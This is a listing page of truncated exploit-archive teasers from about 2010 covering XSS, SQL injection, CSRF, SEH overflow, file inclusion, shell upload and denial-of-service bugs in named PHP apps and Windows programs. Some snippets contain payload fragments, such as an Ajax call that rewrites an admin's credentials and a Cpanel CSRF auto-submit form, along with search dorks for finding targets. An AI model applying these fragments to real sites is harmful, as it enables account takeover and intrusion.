Ecshop2.7.2持久型XSS（可获得管理员帐号）

简要描述： 个人资料修改时，Javascript代码过滤不够严格，XSS代码直接进入数据库 详细说明： 密码保护问题这一项，没有使用正则过滤，其他的的都有正则过滤。我们可以在密码保护问题里输入XSS，但是后台查看会员资料是不显示密码保护问题的，所以这里必须要网站后台添加了新的 “会员注册项”时，后台查看资料就会显示了，此处填入一段引入外部js的代码:" 外部test.js文件内容如下 Ajax.call'privilege.php?act=update','id=1&username=heihei&[email protected]','',"POST","JSON"; 漏洞证明：...

DJ Studio Pro 8.1.3.2.1 SEH Overwrite

DJ Studio Pro Version 8.1.3.2.1 SEH 0 day Author Abhishek Lyall - abhilyallatgmaildotcom, infoataslitsecuritydotcom Web - http://www.aslitsecurity.com/ Blog - http://www.aslitsecurity.blogspot.com/ Download Vulnerable application from http://www.e-soft.co.uk/DJSP.htm Vulnerable version DJ Studio...

eNdonesia 8.4 - SQL Injection

======================================================================/ eNdonesia 8.4 Print Module SQL Injection Vulnerability Download : http://sourceforge.net/projects/endonesia/files/eNdonesia Version : 8.4 or lower maybe also affected Dork : mod.php?mod=publisher&op=printarticle&artid=...

QQPlayer 2.3.696.400p1 - '.wav' Denial of Service

!/usr/bin/python Exploit Title: QQPlayer 2.3.696.400p1.wav Denial of Service Vulnerability Date: 07-09-2010 Author: Hadji Samir , s-Dzathotmaildotfr Software Link: www.qq.com Version: QQPlayer 2.3.696.400p1 Tested on: Windows XP sp2 CVE : Notes: Working with filetype Mahboul-3lik.wav...

X Zero Community Classifieds 5.2 SQL Injection / Cross Site Scripting

======================================================= X·Zero Community Classifieds 5.2 XSS SQL Vulnerability ======================================================= 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ ...

EZ-Oscommerce 3.1 Changer Login and Pass CSRF Vulnerability

Exploit for php platform in category web applications =========================================================== EZ-Oscommerce 3.1 Changer Login and Pass CSRF Vulnerability ===========================================================...

hobcms / hertzCMS 1.1.9.19 File include Vulnerability

Exploit for php platform in category web applications ===================================================== hobcms / hertzCMS 1.1.9.19 File include Vulnerability ===================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /'...

MP3 Cutter 1.8 MP3 - File Processing Remote Denial of Service

MP3 Cutter 1.8 MP3 - File Processing Remote Denial of Service source: https://www.securityfocus.com/bid/41506/info MP3 Cutter is prone to a remote denial-of-service vulnerability. An attacker can exploit this issue to cause an affected application to crash, denying service to legitimate users. MP...

BS Auction - SQL Injection

BS Auction - SQL Injection ----------------------------Information------------------------------------------------ +Name : BS Auction = SQL Injection Vulnerability Exploit +Autor : Easy Laster +ICQ : 11-051-551 +Date : 06.07.2010 +Script : BS Auction +Price : $24.95 +Language :PHP +Exploit Langua...

Cpanel v11. 2 5 CSRF add administrator account exp-vulnerability warning-the black bar safety net

Cpanel v11. 2 5 CSRF add admin account vulnerability. Exploite: html body onload="javascript:fireForms" form method="POST" name="form0" action=" http://server:2082/frontend/x3/ftp/doaddftp.html" input type="hidden" name="login" value="name"/ input type="hidden" name="password" value="pass"/ input...

风讯（FooSun）GetPassword.asp页面存在任意修改密码漏洞

FoosunCMS是一款具有强大的功能的基于ASP+ACCESS/MSSQL构架的内容管理软件。 在文件\User\ GetPassword.asp中： ElseIf Request.Form"Action" = "step3" then //第28行 Call step3 …… Sub step3 //第198行 Dim ppassnew,pconfimpassnew ppassnew = md5Request.Form"passnew",16 …… UserConn.execute"Update FSMEUsers set UserPassword ='"&...

2daybiz Freelance Script SQL Injection

Demo for the Exploit-DB Admin : http://www.2daybiz.com/products/freelancer/ ----------------------------Information------------------------------------------------ +Name : 2daybiz Freelance Script = SQL Injection Vulnerability Exploit +Autor : Easy Laster +ICQ : 11-051-551 +Date : 27.06.2010...

2daybiz Photo Sharing Script SQL Injection

The Demo for the exploit-db Admin : http://www.2daybiz.com/products/efota/ ----------------------------Information------------------------------------------------ +Name : 2daybiz Photo Sharing Script = SQL Injection Vulnerability Exploit +Autor : Easy Laster +ICQ : 11-051-551 +Date : 27.06.2010...

2DayBiz ybiz Polls Script - SQL Injection

----------------------------Information------------------------------------------------ +Autor : Easy Laster +ICQ : 11-051-551 +Info : http://www.2daybiz.com/pollsscript.html +Discovered by Easy Laster 4004-security-project.com +Security Group Undergroundagents and 4004-Security-Project...

2DayBiz ybiz Polls Script - SQL Injection

2DayBiz ybiz Polls Script - SQL Injection ----------------------------Information------------------------------------------------ +Autor : Easy Laster +ICQ : 11-051-551 +Info : http://www.2daybiz.com/pollsscript.html +Discovered by Easy Laster 4004-security-project.com +Security Group...

Education WebSites CMS SQL Injection

Exploit Title: Education WebSites CMS Sql Injection Vulnerability Author: Pokeng Software Link: http://educationwebsites.net/creating.html Platform / Tested on: Win/Linux category: webapps/0day Code : http://site/mod.php?mod=publisher&op=viewcat&cid=SQLI Dork : ""Hosting: Education WebSites""...

EQdkp-Plus Gallery Shell Upload

================================================================= EQdkp-Plus Gallery : Arbitrary File Upload Exploit. ================================================================= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + Author : H-R4F + Email : [email protected] + Hom...

(Gabriels FTP Server) Open Compact FTP Server 1.2 - PORT Remote Denial of Service

Gabriels FTP Server Open Compact FTP Server 1.2 - PORT Remote Denial of Service ============================================================================= Tilte: Open&Compact Ftp Server 1.2 "PORT" command Remote Denial of Service...

DB[CMS] - 'article.php' SQL Injection

DBCMS article.php SQL Injection Vulnerability ------------------------------------------------------------------------------------------- Author: blackraptor Mail: [email protected] Script Home: http://www.debliteck.com/how.php Dork: "Designed and Developed by Debliteck Ltd"...

Urgent Backup 3.20 / ABC Backup Pro 5.20 / ABC Backup 5.50 (.zip) SEH

Exploit for windows platform in category local exploits ===================================================================== Urgent Backup 3.20 / ABC Backup Pro 5.20 / ABC Backup 5.50 .zip SEH ===================================================================== !/usr/bin/ruby Software : Urgent...